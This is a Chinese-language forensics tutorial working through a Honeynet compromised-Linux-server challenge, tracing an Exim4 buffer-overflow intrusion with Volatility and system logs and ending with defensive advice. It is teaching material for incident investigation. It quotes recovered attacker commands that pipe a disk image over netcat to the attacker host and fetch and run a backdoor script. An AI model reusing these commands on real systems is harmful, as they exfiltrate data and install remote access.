Compromised Server--取证挑战
字数 1745 2025-08-26 22:11:29

Linux服务器取证分析教学文档

1. 案例背景

本教学文档基于Honeynet组织的竞赛项目,分析一个被入侵的Linux服务器镜像。通过这个案例,我们将学习如何对Linux系统进行全面的取证分析。

2. 取证工具准备

2.1 所需工具

  • Volatility:内存取证分析工具
  • 挂载工具:用于挂载磁盘镜像
  • 文本编辑器:查看日志文件

2.2 Volatility配置

  1. 安装Volatility
  2. 根据目标系统版本下载对应的profile文件(本例为Debian 5.0)
  3. 将profile文件放在volatility/plugins/overlays/linux目录下
  4. 验证profile是否正确加载:volatility --info

3. 取证分析步骤

3.1 确定触发警报的服务和账户

  1. 挂载系统镜像到/mnt目录
  2. 查看系统日志文件:
    cat /mnt/var/log/auth.log
    
  3. 分析发现大量SSH无效登录尝试,攻击目标账户为ulysses

3.2 确定目标服务器操作系统信息

  1. 查看系统版本:

    cat /mnt/etc/issue
    
    • 结果显示为Debian发行版5.0
  2. 查看内核信息:

    cat /mnt/var/log/dmesg
    
    • 具体版本:Linux内核2.6.26
    • 内存和缓存信息
  3. 使用Volatility查看CPU信息:

    volatility --profile=LinuxDebian5_0x86 -f memory.dump linux_cpuinfo
    

3.3 分析运行中的进程

  1. 使用Volatility查看进程列表:
    volatility --profile=LinuxDebian5_0x86 -f memory.dump linux_pslist
    

3.4 确定攻击者和目标主机的IP

  1. 分析邮件日志:

    cat /mnt/var/log/mail.log
    cat /mnt/var/log/reject.log
    
    • 攻击者IP:192.168.56.1和192.168.56.101
  2. 分析认证日志:

    cat /mnt/var/log/auth.log
    
    • 显示攻击者在192.168.56.1上多次尝试SSH登录
  3. 使用Volatility分析网络连接:

    volatility --profile=LinuxDebian5_0x86 -f memory.dump linux_netstat
    
    • 目标主机IP:192.168.56.102
    • 攻击连接:192.168.56.1在4444和8888端口建立连接

3.5 确定被攻击的服务

  1. 分析exim4的mainlog日志:
    cat /mnt/var/log/exim4/mainlog
    
    • 攻击者发送的电子邮件数据过大
    • 包含恶意命令:调用服务器192.168.56.1下载文件c.pl和rk.tar
    • 结论:被攻击的服务是exim4邮件服务器

3.6 攻击类型分析

  1. 通过日志分析确定为Exim4的缓冲区溢出攻击
  2. 对应CVE编号:CVE-2010-4344
  3. 参考链接:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4344

3.7 攻击者收获分析

  1. 查看root用户的历史命令:
    cat /mnt/root/.bash_history
    
  2. 发现攻击者使用dd命令复制了整个sda1分区:
    dd if=/dev/sda1 | nc 192.168.56.1 4444
    

3.8 攻击者下载的文件分析

  1. 下载的文件:

    • /tmp/c.pl
    • /tmp/rk.tar
  2. c.pl分析:

    • Perl脚本,用于创建C程序
    • 编译后提供支持SUID的可执行文件
    • 打开后门并向攻击者传输信息
    • 攻击者执行命令:
      wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444
      
  3. rk.tar分析:

    • 压缩形式的dropbear rootkit
    • 包含内容:
      • shell脚本:用于监听端口和设置家目录的变量文件
      • install.sh:
        • 创建vars.sh中指定的rkhome目录
        • 添加到所有init文件中自动启动
        • 在端口44965中作为后门shell启动dropbear
        • 错误的iptables配置:
          iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP
          
          (本意应该是允许入站连接45295端口)

3.9 网络连接状态分析

  1. 使用Volatility分析网络连接状态:
    • Established:已建立的连接
    • Listen:监听状态的端口
    • Close:已关闭的连接

4. 总结与防御建议

4.1 攻击流程总结

  1. 攻击者通过Exim4的缓冲区溢出漏洞(CVE-2010-4344)入侵系统
  2. 下载并执行恶意脚本c.pl和rootkit rk.tar
  3. 建立后门连接(4444和8888端口)
  4. 使用dd命令窃取整个磁盘数据

4.2 防御建议

  1. 及时更新邮件服务器软件,修补已知漏洞
  2. 监控系统日志中的异常登录尝试
  3. 限制root账户的直接登录
  4. 定期检查系统上的可疑文件和进程
  5. 正确配置防火墙规则
  6. 监控异常网络连接
  7. 对重要系统文件设置完整性检查

5. 扩展学习

  1. 深入理解Exim4缓冲区溢出漏洞原理
  2. 学习Linux rootkit的检测和清除方法
  3. 掌握Volatility工具的高级用法
  4. 研究Linux系统日志的分析技巧
  5. 学习网络取证分析方法

通过本案例的完整分析,我们掌握了Linux系统取证的基本流程和方法,能够对类似的入侵事件进行有效的调查和分析。

Linux服务器取证分析教学文档 1. 案例背景 本教学文档基于Honeynet组织的竞赛项目,分析一个被入侵的Linux服务器镜像。通过这个案例,我们将学习如何对Linux系统进行全面的取证分析。 2. 取证工具准备 2.1 所需工具 Volatility:内存取证分析工具 挂载工具:用于挂载磁盘镜像 文本编辑器:查看日志文件 2.2 Volatility配置 安装Volatility 根据目标系统版本下载对应的profile文件(本例为Debian 5.0) 将profile文件放在 volatility/plugins/overlays/linux 目录下 验证profile是否正确加载: volatility --info 3. 取证分析步骤 3.1 确定触发警报的服务和账户 挂载系统镜像到/mnt目录 查看系统日志文件: 分析发现大量SSH无效登录尝试,攻击目标账户为 ulysses 3.2 确定目标服务器操作系统信息 查看系统版本: 结果显示为Debian发行版5.0 查看内核信息: 具体版本:Linux内核2.6.26 内存和缓存信息 使用Volatility查看CPU信息: 3.3 分析运行中的进程 使用Volatility查看进程列表: 3.4 确定攻击者和目标主机的IP 分析邮件日志: 攻击者IP:192.168.56.1和192.168.56.101 分析认证日志: 显示攻击者在192.168.56.1上多次尝试SSH登录 使用Volatility分析网络连接: 目标主机IP:192.168.56.102 攻击连接:192.168.56.1在4444和8888端口建立连接 3.5 确定被攻击的服务 分析exim4的mainlog日志: 攻击者发送的电子邮件数据过大 包含恶意命令:调用服务器192.168.56.1下载文件c.pl和rk.tar 结论:被攻击的服务是exim4邮件服务器 3.6 攻击类型分析 通过日志分析确定为Exim4的缓冲区溢出攻击 对应CVE编号:CVE-2010-4344 参考链接:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4344 3.7 攻击者收获分析 查看root用户的历史命令: 发现攻击者使用dd命令复制了整个sda1分区: 3.8 攻击者下载的文件分析 下载的文件: /tmp/c.pl /tmp/rk.tar c.pl分析: Perl脚本,用于创建C程序 编译后提供支持SUID的可执行文件 打开后门并向攻击者传输信息 攻击者执行命令: rk.tar分析: 压缩形式的dropbear rootkit 包含内容: shell脚本:用于监听端口和设置家目录的变量文件 install.sh: 创建vars.sh中指定的rkhome目录 添加到所有init文件中自动启动 在端口44965中作为后门shell启动dropbear 错误的iptables配置: (本意应该是允许入站连接45295端口) 3.9 网络连接状态分析 使用Volatility分析网络连接状态: Established:已建立的连接 Listen:监听状态的端口 Close:已关闭的连接 4. 总结与防御建议 4.1 攻击流程总结 攻击者通过Exim4的缓冲区溢出漏洞(CVE-2010-4344)入侵系统 下载并执行恶意脚本c.pl和rootkit rk.tar 建立后门连接(4444和8888端口) 使用dd命令窃取整个磁盘数据 4.2 防御建议 及时更新邮件服务器软件,修补已知漏洞 监控系统日志中的异常登录尝试 限制root账户的直接登录 定期检查系统上的可疑文件和进程 正确配置防火墙规则 监控异常网络连接 对重要系统文件设置完整性检查 5. 扩展学习 深入理解Exim4缓冲区溢出漏洞原理 学习Linux rootkit的检测和清除方法 掌握Volatility工具的高级用法 研究Linux系统日志的分析技巧 学习网络取证分析方法 通过本案例的完整分析,我们掌握了Linux系统取证的基本流程和方法,能够对类似的入侵事件进行有效的调查和分析。